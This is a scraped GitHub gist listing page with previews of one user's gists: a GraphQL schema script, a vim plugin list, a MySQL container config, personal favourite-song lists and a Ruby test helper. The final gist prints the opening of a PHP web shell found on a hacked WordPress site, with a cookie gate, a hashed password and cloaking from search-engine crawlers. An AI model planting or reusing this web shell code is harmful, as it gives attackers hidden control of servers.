Skip to content

Instantly share code, notes, and snippets.

@localshred
localshred / print_graph.zsh
Last active October 19, 2023 17:40
GraphQL introspection schema to SDL
#!/usr/bin/env zsh
##
## Print a graphql graph in easier to read SDL format.
##
## Usage:
## print_graph https://my.app.com/api/graphql
##
## Note:
## Requires `node`, `npm`, and `jq` on your `PATH`, but makes no assumptions
ack.vim https://github.com/mileszs/ack.vim.git eede0425f50d92be89ee8fb4560a5afb707c2a54
ale git@github.com:w0rp/ale.git 4e5a848d953c449a7655fb4e11e4c0cdf6254cac
Align https://github.com/vim-scripts/Align.git 787662fe90cd057942bc5b682fd70c87e1a9dd77
colorv.vim https://github.com/Rykka/colorv.vim.git 71b9ef529986b3f732f14053d0b2bbf118351b1e
ctrlp.vim https://github.com/kien/ctrlp.vim.git 564176f01d7f3f7f8ab452ff4e1f5314de7b0981
elm-vim git@github.com:ElmCast/elm-vim.git 16a9a380a514e23c02d4bd7374112aa2dac1f3a4
es.next.syntax.vim https://github.com/othree/es.next.syntax.vim 86ddf3ce59c71c2fee5c60ca3d7869f275c1f976
Io-programming-language-syntax https://github.com/vim-scripts/Io-programming-language-syntax.git 22cbb4780a20f68866b85f7594b5d466ea157f2a
javascript-libraries-syntax.vim https://github.com/othree/javascript-libraries-syntax.vim 9132101724c8adddf6c707b9b5320f69157fc53b
nerdtree https://github.com/scrooloose/nerdtree.git eee431dbd44111c858c6d33ffd366cae1f17f8b3
{
"image": "mysql:5",
"volumes": [
"${KUDE_CONFIG_HOME}/mysql/var/lib/mysql:/var/lib/mysql"
],
"ports": [
"3306:3306"
],
"environment": {
"MYSQL_ALLOW_EMPTY_PASSWORD": "yes"
@localshred
localshred / top-10-songs.md
Last active April 13, 2017 05:01
Top 10 Songs
  • Arcade Fire - Ocean Of Noise
  • Ben Folds - Boxing
  • Billy Joel - And So It Goes
  • Imogen Heap - Hide And Seek
  • Mason Jennings - Adrian
  • Regina Spektor - Samson
  • Rancid - Ruby Soho
  • Rise Against - Everchanging
  • Rufus Wainwright - Hallelujah
  • Simon & Garfunkel - Sound Of Silence
@localshred
localshred / top-25-songs.md
Last active April 13, 2017 05:02
Top 25 songs
  • Arcade Fire - Ocean Of Noise
  • Ben Folds - Boxing
  • Billy Joel - And So It Goes
  • Eric Clapton - Wonderful Tonight
  • Good Riddance - Mother Superior
  • Guster - Demons
  • Imogen Heap - Hide And Seek
  • Lagwagon - May 16th
  • Mason Jennings - Adrian
  • Metallica - Unforgiven
@localshred
localshred / top-50-songs.md
Last active April 13, 2017 05:02
Top 50 songs
  • Arcade Fire - Ocean Of Noise
  • Ben Folds - Boxing
  • Billy Joel - And So It Goes
  • Bob Dylan - You're gonna make me lonesome when you go
  • Counting Crows - Long December
  • Death Cab - I Will Follow You Into The Dark
  • Elton John - Your Song
  • Eric Clapton - Wonderful Tonight
  • Fleetwood Mac - Landslide
  • Glen Hansard - Say It To Me Now
@localshred
localshred / top-5-songs.md
Last active April 13, 2017 05:01
Top 5?!?! Absolutely insane to think I'm not missing something

Top 5 Songs of "All Time"

This task was exruciating. I took [my list of Top 150+ songs][top200] and cut it down to [Top 50][top50], then [Top 25][top25], [Top 10][top10], and now Top 5. Frankly I don't know how I could cut Adrian (Mason Jennings) or The Sound Of Silence (Simon & Garfunkel) out of the Top 5 yet here we are. You'll notice two trends in my top 5: 1) I am a HUGE sucker for piano players, and 2) every song I've picked has a huge emotional/relationship-based component. I think I'm probably a little dramatic at times and this Top 5 probably proves that. Be kind.

Arcade Fire - Ocean Of Noise

Listen

Musically this song is so understated and just terribly haunting. The concept of two people trying to communicate with each other despite their overwhelming differences. The entire album is so good (dare I say "perfect") but when this song comes on I just have to stop and listen to it intently. So good.

@localshred
localshred / top-200-songs.md
Last active April 13, 2017 05:46
Alphabetized by artist and song name
  • Arcade Fire - Ocean Of Noise
  • Ben Folds - Boxing
  • Ben Folds - Cologne
  • Ben Folds - Fred Jones, Part 2
  • Ben Folds - Late
  • Ben Folds - Not The Same
  • Ben Folds Five - Alice Childress
  • Ben Folds Five - Brick
  • Ben Folds Five - Cigarette
  • Ben Folds Five - Eddie Walker
@localshred
localshred / nice_hash_comparison_test.rb
Last active November 22, 2023 13:27
Minitest assert_equal sucks for comparing output diffs of two hashes. Using HashDiff, awesome_print, and StringIO we can get actual comparable hashes without pulling our hair out.
require "test_helper"
require "awesome_print"
require "hashdiff"
class MyClass
def self.do_stuff
{a:[{y:3}, {x:11, z:33}], b:{y:22}}
end
end
@localshred
localshred / system.php
Created February 18, 2016 07:28
Wordpress Hack found on self-hosted wordpress
<?php if (!isset($_COOKIE['e67b5c05c2073e7e25effc5df4ccc0b8'])) {header('HTTP/1.0 404 Not Found');exit;} ?> <?php
$auth_pass = "297dbe7699dcfa60609bf9e667e2e4dc";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {